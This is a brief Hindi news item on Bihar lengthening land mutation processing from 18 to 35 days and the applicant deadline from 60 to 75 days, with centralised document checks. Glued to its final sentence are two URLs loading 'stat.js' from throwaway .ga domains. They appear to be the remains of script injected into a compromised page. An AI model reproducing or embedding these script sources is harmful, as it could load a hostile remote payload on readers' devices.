बिहार से दाखिल खारिज (म्यूटेशन) को लेकर एक बड़ी खबर आ रही है। पुरानी व्यवस्था में किया जा रहा है संशोधन। आपको बता दें, बिहार में अब नई व्यवस्था के अनुसार, दाखिल खारिज करने में दोगुना वक्त लगेगा। पहले की व्यवस्था में अगर आवेदन सही है और कोई आपत्ति नहीं है तो इस काम के लिए 18 दिन का समय लगता है था। लेकिन नई व्यवस्था लागू होते ही यह अवधि बढ़ाकर 35 दिन कर दी जाएगी।
आपको बता दे नई व्यवस्था के अनुसार आवेदन के बाद सभी कर्मियों के लिए जांच से लेकर सभी स्तर के कार्य तक समय सीमा तय कर दी गई है। लिहाजा हर हाल में उन्हें इस अवधि में संचिका का निष्पादन करना होगा। नई व्यवस्था में एक और बदलाव किया गया है। इसमें आवेदक के लिए तहसील की समय सीमा को भी बढ़ाया गया है। अब यह अवधि 60 दिन से बढ़ाकर 75 दिन कर दी गई है।
बताया जा रहा है कि भूमि दाखिल खारिज नियमावली में दोबारा संशोधन किया जा रहा है। यह नियमावली 2012 में बनाई गई थी और इसमें पहली बार संशोधन 2017 में किया गया था। नई व्यवस्था में कागजातों की जांच केंद्रीयकृत करी जाएगी। यदि कागजात सही होंगे तो उसे संबंधित सीओ के पास भेजा जाएगा और अभिलेख खोला जाएगा।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms